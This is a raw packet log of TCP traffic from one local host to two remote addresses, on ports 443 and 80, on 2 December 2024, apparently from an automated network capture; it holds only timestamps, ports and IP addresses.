Dec 2, 2024 07:37:46.868596077 CET	443	49810	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.872159958 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.872186899 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:46.872348070 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.872526884 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:46.872539043 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.113409042 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.114001036 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.114025116 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.114768982 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.114775896 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.128201008 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.128712893 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.128720045 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.129254103 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.129256964 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.241926908 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.242571115 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.242595911 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.243088007 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.243093967 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.333847046 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.334613085 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.334634066 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.335105896 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.335115910 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.557385921 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.557463884 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.557645082 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.558136940 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.558165073 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.558182001 CET	49812	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.558187962 CET	443	49812	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.561963081 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.562007904 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.562136889 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.562371969 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.562382936 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.573116064 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.573189974 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.573350906 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.573761940 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.573761940 CET	49813	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.573767900 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.573771000 CET	443	49813	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.577202082 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.577224016 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.577383995 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.577579021 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.577590942 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.652384996 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.653112888 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.653139114 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.653619051 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.653624058 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.676521063 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.676594019 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.676666975 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.676917076 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.676939964 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.676951885 CET	49814	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.676958084 CET	443	49814	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.680377007 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.680416107 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.680536985 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.680727959 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.680738926 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.778583050 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.778650045 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.778764009 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.779056072 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.779069901 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.779086113 CET	49815	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.779090881 CET	443	49815	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.782233953 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.782268047 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:48.782346964 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.782512903 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:48.782525063 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.104299068 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.104378939 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.104469061 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.104897022 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.104912996 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.104949951 CET	49816	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.104958057 CET	443	49816	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.108372927 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.108409882 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.108494043 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.108669043 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:49.108685017 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:49.836097956 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:49.836482048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:49.956193924 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:49.956362963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:49.956474066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:49.956644058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:50.076572895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:50.349761963 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.350745916 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.350764036 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.351264000 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.351270914 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.382508993 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.383130074 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.383156061 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.383733034 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.383738041 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.396667957 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.397300959 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.397337914 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.398509026 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.398515940 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.639642000 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.640285015 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.640311003 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.640794992 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.640803099 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.800103903 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.800187111 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.800235987 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.800538063 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.800559044 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.800579071 CET	49818	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.800585985 CET	443	49818	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.804243088 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.804296970 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.804399014 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.804603100 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.804615021 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.847455978 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.847548962 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.847609043 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.847820997 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.847841024 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.847852945 CET	49819	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.847858906 CET	443	49819	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.851190090 CET	49825	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.851222038 CET	443	49825	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.851316929 CET	49825	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.851535082 CET	49825	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.851545095 CET	443	49825	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.851998091 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.852070093 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.852114916 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.852236032 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.852252007 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.852268934 CET	49820	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.852274895 CET	443	49820	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.854473114 CET	49826	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.854517937 CET	443	49826	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.854598999 CET	49826	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.854733944 CET	49826	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.854748964 CET	443	49826	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.889250040 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.890065908 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.890090942 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:50.890593052 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:50.890603065 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.097671986 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.097765923 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.097846031 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.101667881 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.101667881 CET	49821	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.101690054 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.101700068 CET	443	49821	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.105392933 CET	49827	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.105423927 CET	443	49827	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.105523109 CET	49827	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.105654955 CET	49827	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.105665922 CET	443	49827	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.333177090 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.333264112 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.333348036 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.333617926 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.333636999 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.333647966 CET	49822	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.333657026 CET	443	49822	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.336867094 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.336909056 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.336987019 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.337165117 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:51.337177038 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:51.838620901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:51.838812113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.187707901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.307661057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.583920002 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.585107088 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.585127115 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.585145950 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.585150957 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.640145063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.640163898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.640317917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.640974045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641032934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641043901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641078949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.641078949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.641107082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.641557932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641621113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.641624928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641635895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.641685963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.642332077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.642395020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.642433882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.642433882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.650054932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.650202036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.700453043 CET	443	49825	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.701334000 CET	49825	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.701358080 CET	443	49825	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.701880932 CET	49825	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.701889992 CET	443	49825	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.711663961 CET	443	49826	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.712378979 CET	49826	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.712415934 CET	443	49826	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.713015079 CET	49826	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.713021994 CET	443	49826	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.760303020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.760365963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.760456085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.760488033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.764523029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.764586926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.774998903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.775011063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.775054932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.775069952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.841254950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.841325045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.841341972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.841384888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.845365047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.845418930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.846854925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.846899033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.846973896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.847016096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.855253935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.855335951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.855349064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.855390072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.863466978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.863521099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.863557100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.863603115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.871778011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.871834040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.871870995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.871908903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.882333040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.882349968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.882385969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.882402897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.885991096 CET	443	49827	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.886588097 CET	49827	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.886604071 CET	443	49827	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.887123108 CET	49827	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:52.887129068 CET	443	49827	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:52.888345003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.888397932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.888439894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.888489962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.896622896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.896714926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.896727085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.896773100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.904835939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.904918909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.904921055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.904954910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.912224054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.912280083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.912286043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.912327051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.976183891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.976273060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.976331949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.976361036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:52.979767084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:52.979830980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.033062935 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.033091068 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.033159971 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.033200026 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.033282042 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.033582926 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.033607960 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.033620119 CET	49824	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.033627033 CET	443	49824	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.036582947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.036643982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.037559986 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.037592888 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.037667990 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.037853003 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.037863970 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.042836905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.042895079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.042937994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.042980909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.045140028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.045190096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.045231104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.045277119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.049710035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.049757957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.051386118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.051433086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.051500082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.051557064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.056041956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.056096077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.056175947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.056226969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.060544968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.060584068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.060619116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.060730934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.065118074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.065191984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.065197945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.065277100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.070322037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.070384026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.070511103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.070559978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.074482918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.074553967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.074587107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.074605942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.078856945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.078912020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.078979969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.079032898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.083400011 CET	80	49823	185.215.113.206	192.168.2.6
